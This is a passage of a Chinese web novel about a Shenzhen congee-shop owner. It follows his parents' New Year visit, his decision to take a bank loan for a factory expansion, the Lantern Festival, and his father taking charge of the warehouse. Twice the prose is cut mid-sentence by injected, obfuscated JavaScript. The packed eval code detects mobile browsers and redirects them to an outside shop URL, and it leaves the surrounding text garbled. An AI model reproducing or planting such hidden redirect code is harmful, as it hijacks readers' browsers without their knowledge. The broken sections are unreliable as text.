一家五口——抱着晓梅是六口——下楼。小区里很安静，只有几个孩子在放鞭炮，噼啪响。地上落着红纸屑，混在雨水里，像开败的花。 走到小区门口，碰见张阿姨。张阿姨提着菜篮子，看见他们，打招呼：“陈老板，新年好！带父母出来走走？” “张阿姨新年好。”陈永福说，“这是我爸妈。” “哎哟，叔叔阿姨好！永福常提起你们。”张阿姨热情地说，“你们真有福气，儿子这么出息。” 父亲笑笑，没说话。母亲跟张阿姨聊了几句，问菜价，问天气。 “深圳过年比老家暖和。”张阿姨说，“就是人少，都回老家了。” “是啊，冷清。”母亲说。 “初五就热闹了，人都回来了。”张阿姨说，“叔叔阿姨多住些日子，看看深圳的热闹。” “好，好。” 告别张阿姨，一家人往商场走。商场开门了，但人还是少。门口的金桔树上挂满了红包，风一吹，晃晃悠悠。 父亲在金桔树前停下，伸手摸了摸叶子。 “这树真能结果？” “能，是观赏的，不能吃。”陈永福说。 “好看。”父亲说，“红红火火的。” 商场里，很多店铺还没开门。只有几家便利店和快餐店开着。一家粥铺开着——不是陈永福的，是另一家，招牌上写着“香港粥王”。 陈永福下意识地走过去看。店里冷冷清清，只有一个客人。粥的品种很多：及第粥、艇仔粥、状元粥，名字花哨，价格也贵，一碗要五毛。 “进去尝尝？”陈永福问。 “不用，家里有粥。”父亲说，“这种粥，花架子。” 陈永福笑了。父亲还是实在。 走过商场，到了老街那片空地。老榕树移走了，地基已经打好，钢筋水泥露出地面，像巨兽的骨架。围挡上写着“罗湖商业中心，1986年10月开业”。 父亲站在围挡前，看了很久。 “就是这儿？”他问。 “嗯，原来我的店就在那棵树下。”陈永福指着空地中央，“十平米，一张桌子，四张凳子。” “现在呢？” “现在在商场里，三十多平米，能坐二十个人。” 父亲点点头：“树呢？” “移到公园去了，应该活了。” “那就好。”父亲说，“树有灵，不能随便砍。” 雨又下起来了，细细密密的。一家人往回走。晓梅在婴儿车里睡着了，小脸红扑扑的。□□在前面跑，踩水坑，溅起水花。 “建国，小心点。”林玉兰喊。 “没事！”孩子回头笑。 回到家，母亲拿出带来的特产：潮汕牛肉丸、鱼丸、菜脯、橄榄菜。林玉兰中午就做了牛肉丸汤，鱼丸炒青菜。简单的菜，但有家乡味。 父亲吃得很香，连汤都喝完了。 “还是家里的味道好。”他说。 “深圳也有潮汕菜馆，但味道不正宗。”陈永福说。 “水土不一样，味道就不一样。”母亲说，“就像人，换了地方，还是那个人，但味道变了。” 这话让陈永福心里一动。是啊，他来深圳三年，还是陈永福，但味道变了。会说普通话了，会看报表了，会管工厂了。但骨子里，还是潮汕那个种田的陈永福。 下午，王建军来拜年。他提了盒糖果，还有给晓梅的红包。 “老板，叔叔阿姨，新年好。” “建军来了，坐。”陈永福说。 王建军坐下，有点拘谨。父亲给他倒茶。 “听永福说，你现在管三家店？”父亲问。 “是，老板信任我。”王建军说，“我就是帮着看看，大事还是老板做主。” “年轻人，好好干。”父亲说，“永福当年像你这么大时，还在田里干活。” “我知道老板不容易。”王建军说，“我会努力的。” 聊了一会儿，王建军走了。父亲对陈永福说：“这小伙子实在，可用。” “嗯，我培养他。” “培养人好，但也要防着。”父亲说，“人心难测。” “建军跟了我两年，信得过。” “信得过就好。”父亲端起茶杯，“但记住，再信得过，也要留一手。这是生意，不是交朋友。” 陈永福点点头。父亲的话，他记下了。 初二，按潮汕习俗是回娘家的日子。林玉兰父母在老家，回不去。她就给家里打了电话，说了半个钟头。挂电话时，眼睛红红的。 “想家了？”陈永福问。 “嗯。”林玉兰擦擦眼睛，“三年没回去了。” “等天暖了，咱们回去一趟。” “好。” 中午，李文杰来拜年。他穿了件红色毛衣，看着喜庆。 “陈老板，叔叔阿姨，新年快乐。” “李经理新年好。”陈永福介绍，“这是我爸妈。” “叔叔阿姨好。”李文杰递上礼物，是盒香港点心，“一点心意。” “谢谢，太客气了。”母亲接过。 李文杰坐下，聊了聊工厂的事。他说香港那边订单又增加了，要提前备货。又说广州市场反应不错，可以考虑扩大。 “陈老板，过了年，咱们得开个会，定一下今年的计划。”李文杰说。 “行，初五上班就开。” “好。” 李文杰坐了一会儿就走了。父亲问：“这是香港人？” “是，郑先生的经理，帮我管工厂。” “说话斯文，像个读书人。”父亲说，“永福，你跟这些人打交道，要学着点。咱们农村人，直来直去，他们城里人，弯弯绕绕多。” “李经理人实在，不绕。” “那就好。” 初三，黄秀英从东莞回来拜年。她带了大包小包，给每个人都带了礼物。给父亲的是一盒普洱茶，给母亲的是一条围巾，给林玉兰的是一支口红，给□□的是一个变形金刚玩具，给晓梅的是一套小衣服。 “秀英，你花这么多钱干嘛？”林玉兰说。 “应该的。”黄秀英笑，“老板和老板娘对我有恩。” “说这些。”陈永福说，“坐，吃饭。” 饭桌上，黄秀英说了东莞和广州的情况。东莞店恢复得不错，每天能卖两百多碗。广州店更好，一天能卖五百碗。她还谈下了两家超市，卖粥料。 “老板，我想过了年，在广州再开一家店。”黄秀英说。 “这么快？” “机会好，那边批发市场新开了，工人多。”黄秀英说，“而且我有经验了，知道怎么做。” 陈永福想了想：“行，你看着办。但要稳，别贪多。” “知道。” 父亲听着，没说话。等黄秀英走了，他才说：“这姑娘能干，但太冲。你要拉着她点，别让她跑太快，摔跟头。” “我会的。” 初四，雨彻底停了。太阳出来，照得人暖洋洋的。深圳的人开始回来了，街上渐渐热闹起来。 陈永福带父母去东门逛。东门人多，熙熙攘攘的。卖衣服的，卖电器的，卖小吃的，吆喝声此起彼伏。 父亲在一个卖工具的摊子前停下，看一把锤子。 “阿爸，要买吗？” “看看。”父亲拿起锤子，掂了掂，“这锤子轻，不如老家的沉。” “现在都用这种，轻便。” “轻了没劲。”父亲放下锤子，“干活还是沉的好。” 母亲在一个布料摊前看花布。各种颜色，各种花样，看得眼花。 “这布好看。”母亲指着一块碎花布。 “阿妈喜欢就买。”陈永福说。 “不用，我就看看。”母亲说，“深圳的布，颜色艳，但不经穿。” 逛到中午，在一家潮汕餐馆吃饭。点了卤鹅、蚝烙、炒粿条。父亲吃得很满意。 “这家味道正。”他说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380755|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“老板是潮汕人。”服务员说。 “听口音就像。”父亲笑了，“老乡见老乡，两眼泪汪汪。” 吃完饭，去仙湖植物园。植物园里人不多，清静。父母慢慢走，看花看树。在一棵木棉树下，父亲停下。 “这树好，直。” “木棉树，春天开红花，像火。”陈永福说。 “老家也有，但没这么高。”父亲仰头看，“深圳的树，都长得快。” “是啊，三天一层楼，树也长得快。” 父亲笑了：“你这话说的，树跟楼比。” “都是长嘛。” 在植物园逛了一下午，累了，回家。晚饭简单，剩菜热热，煮锅粥。 吃完饭，父亲说累了，早早就睡了。母亲在客厅缝衣服——晓梅的衣服扣子掉了，她给缝上。 陈永福坐在旁边，看着母亲穿针引线。灯光下，母亲的手粗糙，但很稳。一针一线，密密实实。 “阿妈，眼睛还行吗？” “还行，就是老花，要戴眼镜。”母亲说，“永福，你阿爸这次来，高兴，但也不自在。” “我知道。” “他习惯了田里干活，现在坐着享福，不习惯。”母亲缝好扣子，咬断线，“你得多陪他说说话，别让他觉得孤单。” “我会的。” “还有，你生意上的事，别跟他说太多。”母亲说，“他不懂，听了担心，又帮不上忙，心里难受。” “嗯。” 母亲叠好衣服，看着他：“永福，你现在出息了，阿妈高兴。但阿妈只求你一样：平平安安。钱多钱少，没关系，人好好的就行。” “我知道。” “知道就好。”母亲站起来，“我去睡了，你也早点睡。” “好。” 母亲进了房间。陈永福坐在客厅里，没开电视，也没开灯。窗外有月光，照进来，朦朦胧胧的。 他想起了很多事。想起小时候，母亲在油灯下缝衣服，他在旁边写作业。想起父亲从田里回来，满身泥土，但带回来一把野果。想起老家那个破旧但温暖的家。 现在，他在深圳有了新家，更大，更亮，更舒服。但有些东西，好像丢了。 是什么呢？他说不清。 也许就是母亲说的，那种“味道”。老家的味道，童年的味道，简单的味道。 手机响了，是郑文达。 “陈老板，新年好。” “郑先生新年好。” “初五上班，咱们开个会，定一下今年的计划。”郑文达说，“我初步想了几个方向：一是扩大工厂产能；二是开拓新市场，比如上海、北京；三是开发新产品，比如儿童营养粥。” 上海？北京？陈永福心里一紧。那么远，他想都没想过。 “郑先生，会不会太快了？” “不快，现在市场好，要抓住机会。”郑文达说，“陈老板，咱们要做大，就不能只盯着广东。全国市场，那才是大舞台。” 大舞台。陈永福想起父亲的话：树有根，人也有根。他的根在广东，在深圳。去上海、北京，根会不会断？ 但他没说出来，只是说：“好，初五开会谈。” 挂了电话，陈永福走到阳台上。深圳的夜，依然灯火通明。远处工地还在施工，塔吊的灯像星星。 他想，这座城市不让人停。你停了，就被超了。你要一直跑，一直赶。 可跑得太快，会不会忘了为什么跑？ 他不知道。 风吹过来，有点冷。他回屋，轻轻推开父母的房门。父母睡着了，呼吸均匀。月光从窗户照进来，照在父亲脸上，那张布满皱纹的脸，在睡梦中放松了。 陈永福站了一会儿，轻轻关上门。 回到自己房间，林玉兰还没睡。 “怎么了？”她问。 “没事，看看爸妈睡了没。” “阿福，你是不是有心事？” “没有。” “别骗我。”林玉兰坐起来，“你从下午就不对劲。” 陈永福在床边坐下：“玉兰，你说，咱们现在这样，好吗？” “好啊，有什么不好？” “钱是多了，但人也累了。”陈永福说，“以前在老街，虽然穷，但简单。现在，开工厂，管百来号人，跟香港人打交道，跟政府打交道。我有点……有点怕。” “怕什么？” “怕撑不住。”陈永福说，“爸今天说，我对那些人要负责。我想想也是，一百多人，一百多个家庭。我要是倒了，他们怎么办？” 林玉兰握住他的手：“阿福，你不会倒。你踏实，肯干，能撑住。” “可是……” “没有可是。”林玉兰说，“咱们一步一步走来的，每一步都稳。以后也一样，稳稳地走，不会倒。” 陈永福看着她，妻子的眼神坚定，温暖。 “玉兰，有你真好。” “傻子。”林玉兰靠在他肩上，“睡吧，明天初五，要开工了。” “嗯。” 躺下，闭上眼睛。明天要开工，要开会，要定计划，要面对新的挑战。 但今晚，有妻子在身边，有父母在隔壁，有孩子在睡梦中。 这就够了。 根在这里，跑不了。 跑得再远，也跑不出这个家。 睡吧，明天又是新的一天。 22. 开工 初五的早晨，深圳醒了。 街上车多了，人多了，店铺一家接一家开门。红灯笼还挂着，但喜庆的气氛淡了，忙碌的气氛浓了。商场门口，清洁工在扫鞭炮屑，扫帚划过地面，沙沙地响。 陈永福起了个大早。他站在罗湖店门口，看着王建军和小周拆门板上的封条。封条是年前贴的，红纸黑字：“恭贺新禧，初五开市”。现在要撕下来，生意要重新开始。 “老板，开门大吉。”王建军说。 “大吉。”陈永福点点头。 门开了，店里一股灰尘味。三天没开门，桌椅上都蒙了层灰。小周赶紧擦桌子，王建军去后厨检查灶具。陈永福站在门口，看着街上来往的人。很多人提着行李，刚从老家回来，脸上还带着疲惫。 第一个客人是个中年男人，拖着行李箱，风尘仆仆。 “开门了？” “开了，师傅里面坐。” “来碗白粥，饿死了，火车上没吃好。” “好嘞。” 陈永福亲自盛粥。粥是昨天晚上熬好的，在保温桶里，还热。他盛了满满一碗，多加一勺咸菜。 男人接过去，狼吞虎咽。吃完，抹抹嘴：“还是这儿好，实在。” “师傅刚回来？” “嗯，湖南老家，坐了两天车。”男人付钱，“老板，你这店过年没歇？” “歇了三天。” “三天算少了，我们老家，正月十五前都不正经干活。” “深圳不一样，歇不起。” “是啊，深圳快。”男人提起箱子，“走了，上班去。” “慢走。” 客人陆续来了。大多是刚回来的打工者，急着填饱肚子，好去上工。店里很快坐满了人，热气腾腾的。 陈永福在后厨帮忙。刘师傅还没回来——他请了十天假，回四川老家，要过完十五才回来。小周顶他的位子，熬粥还欠点火候，但能应付。 “老板，米好像有点潮。”小周说。 “今天这批米是年前剩的，将就用。”陈永福说，“明天新米到。” “好。” 忙到九点，高峰期过了。陈永福交代几句，去工厂。 工厂初四就开工了。机器轰鸣，工人忙碌。小林在实验室里，看见陈永福来，迎上来。 “陈老板，新年好。” “林工新年好，开工顺利？” “顺利，就是有几个工人还没回来，人手有点紧。” “先顶着，过几天人就齐了。” 陈永福在车间转了一圈。生产线运转正常，一包包粥料从传送带上滑下来，装箱，打包。年前积压的订单要赶，香港的货要发，广州的要补。生产线二十四小时不停，工人两班倒。 “陈老板，郑先生来了，在办公室等您。”小林说。 陈永福去办公室。郑文达和李文杰都在，还有何老板。 “陈老板，新年新气象。”郑文达起身握手。 “郑先生，何老板，李经理，新年好。” 大家坐下。郑文达拿出份文件：“今年的计划，我初步拟了个大纲。大家看看。” 文件标题是《家香食品1986年度发展规划》。陈永福翻开看，密密麻麻的字，分几大块：产能扩张、市场拓展、新品研发、品牌建设。 “我先说说产能。”郑文达说，“现在日产能两万包，不够。我建议再上一条线，投资五十万，把产能提到五万包。” 五十万。陈永福心里一紧。 “郑先生，资金……” “资金我出三十万，陈老板你出二十万。”郑文达说，“何老板有兴趣也可以投。” 何老板点点头：“我投十万，占两成。” 陈永福算了算。他出二十万，占四成；郑文达三十万，占六成；何老板十万，占两成。但工厂现在总投资才七十万，再加五十万，就是一百二十万。他占四成，要出四十八万。他已经投了二十万，还要再出二十八万。 “郑先生，我手头没那么多现金。”陈永福实话实说。 “可以贷款。”郑文达说，“现在政策鼓励，个体户贷款容易。我可以帮你联系银行。” “利息呢？” “年息百分之八左右。” 陈永福沉默了。贷款二十八万，一年利息两万多。加上原来的贷款，一年光利息就要四万。压力太大了。 “陈老板，我知道你有顾虑。”郑文达说，“但生意要做大，必须投入。现在市场好，我们占先机，就要快速扩张。等别人跟上来，就晚了。” 李文杰插话：“陈老板，我做了市场分析。现在速食粥市场年增长率在百分之三十以上。如果我们能保持现在的市场份额，明年销售额能翻一番。” 翻一番。陈永福心动了。 “让我想想。” “好，不急，三天内给我答复。”郑文达说。 接下来讨论市场拓展。郑文达想进上海、北京的市场。李文杰建议先在长三角和珠三角的二线城市试水，比如苏州、无锡、佛山、中山。 “一线城市竞争激烈，成本高。”李文杰说，“二线城市潜力大，竞争小。” “我同意。”何老板说，“稳扎稳打。” 新品研发方面，小林提了几个想法：儿童营养粥、老年人养生粥、糖尿病患者专用粥。他说现在人们生活好了，对健康有要求，功能性食品是趋势。 “儿童粥可以加钙、加维生素。”小林说，“老年人粥要低盐、易消化。” “研发要多少钱？”陈永福问。 “前期投入大概五万。”小林说，“主要是买原料、做实验、送检。” “做吧，该花的要花。” 品牌建设方面，郑文达建议请香港明星代言，在电视上打广告。 “现在电视普及了，广告效果好。”郑文达说，“我认识几个香港二三线明星，价格不贵。” “多少钱？” “一年代言费，十万左右。” 十万。陈永福又犹豫了。 “郑先生，咱们的产品，靠的是口碑，不是明星。” “口碑重要，广告也重要。”郑文达说，“陈老板，品牌建设是长期投资。现在投入，将来回报。” 陈永福没说话。他觉得十万太多了，不如把这钱用来改善生产，或者给员工加薪。 会议开了两个钟头。散会后，陈永福一个人坐在办公室，看着那份发展规划。纸上的数字很诱人：年销售额五百万，利润一百万，市场占有率百分之三十。但他心里不踏实。 这些数字，要真金白银堆出来。五十万投资，十万广告费，五万研发费。加起来六十五万。他要去贷二十八万。 万一赔了呢？ 他想起父亲的话：生意归生意，要慎重。 但郑文达说得也对：机会不等人。 两难。 中午，他回罗湖店吃饭。林玉兰带着晓梅在店里，母亲也在。父亲一个人在家，说想静静。 “开会怎么样？”林玉兰问。 “要投钱，很多钱。”陈永福简单说了情况。 林玉兰听完，脸色变了：“还要贷二十八万？阿福，咱们现在欠的还没还清呢。” “我知道。” “知道你还考虑？”林玉兰声音高了，“阿福，咱们现在这样不好吗？店开着，工厂转着，有赚有赔，但踏实。你又要贷那么多钱，万一……” “没有万一。”陈永福打断她，“玉兰，生意要做大，就要投钱。这是规律。” “可咱们是熬粥的，不是开银行的。”林玉兰眼圈红了，“阿福，我跟你来深圳，是想过安稳日子。你现在这样，我每天都提心吊胆。” 母亲在旁边，没说话，只是叹气。 陈永福心里烦躁。他知道妻子说得对，但他停不下来。就像上了快车，刹车坏了，只能往前冲。 吃完饭，他去了老街那片空地。地基已经打好了，钢筋水泥的骨架立起来，有四五层高了。工人们在上工，叮叮当当的敲击声，嗡嗡的电钻声。 他站在围挡外，看着。三年前，他的粥铺就在这里，老榕树下。现在，这里要起高楼了。 城市在变，他也要变。不变，就被埋了。 手机响了，是黄秀英。 “老板，广州新店的地址定了，在白云区，月租两百。” “贵了。” “位置好，值。”黄秀英说，“老板，我想明天就签合同，早点开业。” “你自己定吧。” “老板，你声音不对，怎么了？” “没事，累。” “老板，你注意身体。”黄秀英顿了顿，“还有，广州这边有个食品批发市场，我想租个摊位，卖咱们的粥料。” “能卖动吗？” “能，我了解过，这边小餐馆多，很多不愿意自己熬粥，买料包方便。” “行，你看着办。” 挂了电话，陈永福想，黄秀英的步子比他快。她不怕，敢闯。也许年轻人就该这样。 但他不行。他有家，有父母，有妻儿，有员工。他怕。 回到家，父亲在阳台抽烟。陈永福走过去。 “阿爸。” “回来了？”父亲没回头，“会开完了？” “开完了。” “要投钱？” “嗯。” “多少？” “二十八万。” 父亲沉默了很久。烟头在手里燃着，烟灰掉在地上。 “永福，阿爸不懂生意。”父亲终于开口，“但阿爸知道，钱要花在刀刃上。你这二十八万，花在哪儿？” “扩生产线，打广告，搞研发。” “能赚回来吗？” “不知道。” “不知道就投？”父亲转过头看他，“永福，咱们是农民出身，挣的都是辛苦钱。二十八万，在老家能盖三栋楼，能买几十亩地。在深圳，就是一纸合同。” “我知道。” “知道还投？”父亲声音严厉了，“永福，你是不是被那些人捧昏头了？什么企业家，什么典型，那是虚的。实的是你兜里的钱，是你店里的粥，是你工厂的货。这些要是没了，你什么都不是。” 陈永福说不出话。父亲的话像锤子，砸在他心上。 “阿爸，我不投，别人就超了。”他艰难地说，“深圳就是这样，逆水行舟，不进则退。” “那就退！”父亲说，“退一步，稳当。进一步，可能就掉坑里了。” “可是……” “没有可是。”父亲掐灭烟，“永福，阿爸不是拦你发财。是怕你摔跟头。你摔了，这一家子怎么办？那些跟着你的人怎么办？” 陈永福低头，看着自己的手。这双手，熬过粥，搬过货，签过合同。现在，要决定投不投二十八万。 “让我再想想。” “想清楚。”父亲拍拍他的肩，“钱是小事，人是大事。你倒了，钱再多也没用。” 晚上，陈永福睡不着。他起来，走到孩子们房间。晓梅睡得正香，小嘴一抿一抿的。□□也睡了，课本还摊在桌上，是数学题。 他轻轻给儿子盖好被子，回到客厅。林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380756|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉兰也起来了，坐在沙发上。 “怎么不睡？” “睡不着。”林玉兰轻声说，“阿福，我想了一下午。我不该拦你。你是男人，要闯事业。我该支持你。” “玉兰……” “但是阿福，你要答应我，量力而行。”林玉兰看着他，“咱们可以投钱，但不能把身家都押上。留点后路，万一不行，还能回头。” 陈永福握住她的手：“我知道。” “还有，别太累。”林玉兰眼圈又红了，“你看你，眼窝都陷进去了。钱是赚不完的，命只有一条。” “我会注意。” 两人坐了一会儿。夜深了，深圳安静下来。 第二天，陈永福给郑文达打电话。 “郑先生，我决定了。二十万我投，但贷款要慢慢还，不能压得太紧。广告费减半，先试试水。研发要做，但分步走，不急。” 郑文达在电话那头笑了：“陈老板，你越来越像商人了，知道谈判了。” “不是谈判，是稳妥。” “好，就按你说的。”郑文达说，“合同我让律师改，明天签。” “行。” 挂了电话，陈永福去银行。贷二十八万，分三年还，每月还八千。算上之前的贷款，每月要还一万二。压力大，但还能承受。 签贷款合同那天，他手有点抖。二十八万，是他这辈子经手最大的数字。但他签了，一笔一画，很用力。 钱到账了，他马上转给郑文达。新生产线订了，三个月后到货。 回到工厂，小林兴冲冲地来找他。 “陈老板，儿童粥的配方试出来了，您尝尝。” 实验室里，三碗粥摆着：一碗原味，一碗加钙，一碗加维生素。陈永福每碗尝了一口。加钙的有点涩，加维生素的有点酸，但能接受。 “再调调，味道要自然。” “好。” “送检了吗？” “送了，等报告。” “行，抓紧。” 从实验室出来，陈永福去车间。工人们正在赶香港的订单。看见他来，都打招呼：“老板好。” “大家辛苦。” “不辛苦，有活干，高兴。” 陈永福看着这些工人。他们大多来自农村，跟他一样，来深圳讨生活。现在，他们在他的工厂里干活，拿工资，养家。他要是倒了，这些人怎么办？ 责任。父亲说得对，这是责任。 他要扛住。 正月十五，元宵节。商场搞活动，猜灯谜，送汤圆。粥铺也推出了元宵粥，小汤圆放在红豆粥里，甜糯糯的。 晚上，陈永福带家人去看花灯。深圳大道上挂满了灯笼，各式各样，鱼灯、兔灯、莲花灯，亮晶晶的。人很多，挤挤攘攘。 父亲母亲也来了。母亲抱着晓梅，父亲牵着建国。一家人慢慢走，看灯，猜谜。 在一个灯笼前，父亲停下。灯笼上写着一个谜语：“白嫩小宝宝，洗澡吹泡泡，洗洗身体小，再洗不见了。”（打一食品） “建国，猜猜是什么？”父亲问。 □□想了半天：“是……是汤圆？” “不对，再想想。” “是……是肥皂？” “也不对。” 陈永福笑了：“是盐。” “对了！”父亲拍手，“还是你阿爸聪明。” 大家都笑了。晓梅伸手要抓灯笼，母亲赶紧抱开。 走到广场，有舞狮表演。锣鼓喧天，狮子跳上跳下，栩栩如生。围观的人鼓掌叫好。 父亲看得很认真，眼睛都不眨。 “阿爸，喜欢看？”陈永福问。 “喜欢，老家也有，但没这么热闹。”父亲说，“深圳真好，热闹。” “那就在这儿多住些日子。” “住，住到你们烦为止。” “不烦，永远不烦。” 舞狮结束，放烟花。一朵朵烟花在夜空炸开，五彩缤纷。晓梅仰着小脸看，眼睛亮晶晶的。□□兴奋地跳。 陈永福搂着林玉兰，看着烟花，看着家人。 这一刻，他觉得所有的累都值了。 为了这个家，他要撑住，要向前。 烟花放了半个钟头。结束时，人群慢慢散去。一家人往回走。 路上，父亲说：“永福，阿爸想通了。你该闯就闯，阿爸支持你。” 陈永福一愣：“阿爸……” “阿爸老了，不懂新东西。但阿爸知道，儿子长大了，有自己的路。”父亲拍拍他的肩，“去吧，好好干。但记住，累了就回家，家里有粥，有热炕头。” 陈永福鼻子一酸：“谢谢阿爸。” “谢什么，父子俩。” 回到家，母亲煮了元宵。一人一碗，甜丝丝的，暖到心里。 吃完元宵，孩子们睡了。父母也去休息。陈永福和林玉兰坐在阳台上，看着深圳的夜景。 “阿福，新的一年，咱们会更好的。”林玉兰说。 “嗯，会好的。” “不管多难，咱们一起扛。” “一起扛。” 烟花还在远处零星地放，像星星眨眼。 深圳的夜，温柔了。 陈永福想，这就是他的城市，他的家。他要在这里，熬他的粥，走他的路。 不管前路如何，有家，就不怕。 睡吧，明天还要早起。 新的一天，新的一年，新的开始。 他会继续走，稳稳地走。 因为根在这里，家在这里。 跑不掉的。 23. 春水 正月一过，深圳的春天来得又急又猛。 路边的紫荆花像是约好了，一夜之间全开了。粉的，紫的，一树一树的，热热闹闹挤在枝头。风吹过，花瓣飘飘洒洒落下来，落在行人的肩上，落在湿漉漉的街上，像铺了层薄薄的绸子。 陈永福站在新工厂的院子里，看着工人卸货。是刚到的原料，东北大米，一麻袋一麻袋的，堆成小山。小林拿着本子在旁边记录，时不时弯腰抓把米，对着光看。 “陈老板，这批米成色好。”小林说。 “价格也好。”陈永福捏起几粒米，放在手心搓了搓，“一斤贵三分。” “但出粥率高，算下来差不多。” “那就行。” 卸完货，陈永福去车间。新生产线还在安装，郑文达从香港请的工程师在调试。是个中年人，姓赵，戴眼镜，说话慢条斯理，但手上动作快。 “陈老板，这条线是全自动的，从泡米到包装，一条龙。”赵工程师指着机器，“产能比旧线高一倍，用人少一半。” “什么时候能投产？” “再调试三天，就可以试生产。” “好，抓紧。” 从车间出来，小林追上来：“陈老板，儿童粥的检测报告回来了，合格。可以批量生产了。” “包装设计好了吗？” “好了，郑先生从香港找的设计师，卡通图案，小孩子喜欢。” “先生产一万包，试试市场。” “好。” 回到办公室，陈永福开始算账。新生产线投资五十万，儿童粥研发五万，原料涨价，人工涨工资……这个月开支比上个月多了八万。虽然销售额在涨，但利润薄了。 他揉了揉太阳穴。账上的数字像蚂蚁，爬得他心烦。 手机响了，是黄秀英。 “老板，广州新店装修好了，后天开业。”她声音里透着兴奋，“这边位置真好，对面就是服装批发市场，工人多。” “开业活动准备了？” “准备了，前三天八折，还送咸菜。”黄秀英说，“老板，你来剪彩吗？” “走不开，你主持就行。” “好吧。”黄秀英顿了顿，“老板，还有件事。这边有个百货公司，想进咱们的粥料，但要咱们提供专柜，还要派促销员。” “专柜费多少？” “一个月五百，促销员工资咱们出，一个月一百五。” 陈永福皱眉。又是钱。 “先谈着，别急着答应。” “好。” 挂了电话，陈永福想，黄秀英在广州的步子迈得大。专柜，促销员，这些他都没想过。但也许是对的呢？深圳的经验，不一定适合广州。 下午，他去罗湖店。店里生意照常，王建军在前台，小周在后厨。刘师傅回来了，脸色红润，说是老家吃得舒服。 “刘师傅，休息好了？”陈永福问。 “好了，好了。”刘师傅搓着手，“老板，家里带了点腊肠，给你尝尝。” “谢谢，自己留着吃。” “要的要的。” 陈永福接过腊肠，沉甸甸的，用报纸包着。他打开，闻到一股烟熏味，是老家的味道。 “刘师傅，家里都好吧？” “好，儿子考上高中了。”刘师傅笑了，“老板，我得多干几年，供他上大学。” “好好干，供孩子读书要紧。” 从后厨出来，王建军拿着个本子找他：“老板，这是上个月的报表，你看看。” 陈永福接过看。罗湖店营业额六千，南山店四千五，福田店五千二。都比年前好。 “建军，干得不错。” “是老板指导得好。”王建军说，“老板，我有个想法。” “说。” “我想搞个‘粥友俱乐部’，给常客发卡，积满十次送一碗。”王建军说，“留住老客，比拉新客容易。” 陈永福想了想：“行，你设计一下。” “好。” 王建军去忙了。陈永福站在柜台后，看着店里喝粥的客人。有熟悉的，有不熟悉的。有个老太太每天都来，坐同一个位置，要一碗白粥，慢慢喝。有个年轻人，背着画板，有时候一坐就是半天，边喝粥边画画。 这就是他的粥铺，不光是生意，也是这些人的生活的一部分。 晚上回家，父亲在客厅听收音机。是粤语新闻，父亲听不懂，但还是听。 “阿爸，听得懂吗？” “听不懂，但热闹。”父亲说，“永福，今天厂里怎么样？” “新生产线快好了。” “又要忙了。” “嗯。” 父亲关掉收音机：“永福，阿爸想跟你商量个事。” “什么事？” “我想找个活干。”父亲说，“整天闲着，骨头都松了。” 陈永福一愣：“阿爸，你来是享福的，干什么活？” “享福也得有事做。”父亲说，“我在老家种了一辈子地，闲不住。你给我想想，我能干什么。” 陈永福想了想：“要不，你去店里帮忙？不用干活，就坐着，跟客人说说话。” “那不成，光说话像什么。”父亲摇头，“我要干点实在的。” “那……去厂里看仓库？” “这个行。”父亲眼睛亮了，“看仓库，我懂。老家收粮食，我也看过仓。” “可那是体力活，要搬东西。” “搬东西怕什么，我身体好着呢。” 陈永福看着父亲。六十多岁的人，背有点驼，但眼神里有光。 “行，我安排。但说好，累了就不干。” “知道。” 第二天，陈永福带父亲去工厂。仓库在车间后面，两百平米，堆满了米、配料、包装材料。两个工人在搬货，看见陈永福来，停下手。 “这是老陈，以后他管仓库。”陈永福介绍，“老陈是我父亲，你们多照应。” “陈叔好。”工人们打招呼。 父亲点点头，在仓库里转了一圈，摸摸米袋，看看标签。 “永福，这米要分开放，新来的放里面，先来的放外面。”父亲说，“不然里面的放久了，会生虫。” “行，您定规矩。” “还有，进出要记数，一笔一笔，不能含糊。” “好。” 父亲开始工作了。他找了个本子，把仓库里的东西清点一遍，记下来。然后站在门口，看着工人搬货，进多少，出多少，都记。 陈永福在远处看着。父亲腰板挺直了，脸上有了神采。他知道，父亲需要这种感觉——被需要的感觉。 中午，林玉兰送饭来。看见父亲在仓库里忙，愣了一下。 “阿爸怎么……” “他闲不住，非要找活干。”陈永福说，“这样也好，有事做，精神好。” 林玉兰叹口气：“阿福，你让阿爸干这么重的活……” “不重，就是记记账，看看货。”陈永福说，“玉兰，你让阿爸试试，不行再停。” “好吧。” 吃饭时，父亲吃得特别香。一边吃一边说仓库的事：“那批东北米成色好，但有点潮，要晒晒。皮蛋味道不对，可能放久了，得先用。” “阿爸，这些让工人做就行。” “他们忙，我闲着也是闲着。”父亲说，“永福，你这仓库管得不行，乱。明天我好好收拾收拾。” “行，您看着办。” 吃完饭，父亲又去仓库了。林玉兰看着他的背影，轻声说：“阿爸好像年轻了。” “是啊，有事做，人就精神。” “阿福，你也要注意，别让阿爸太累。” “我知道。” 下午，新生产线试生产。陈永福、郑文达、小林、赵工程师都站在车间里。机器启动，轰鸣声响起。米从这边进去，经过浸泡、蒸煮、烘干、混合、包装，最后出来一包包粥料。 第一包出来了，小林拆开，煮了一碗。 “陈老板，您尝。” 陈永福尝了一口。米粒软硬适中，味道均匀。比旧生产线的好。 “好。” 郑文达也尝了：“可以，可以。陈老板，这条线上了，咱们产能就上去了。” “郑先生，下个月香港的订单，能按时交了吧？” 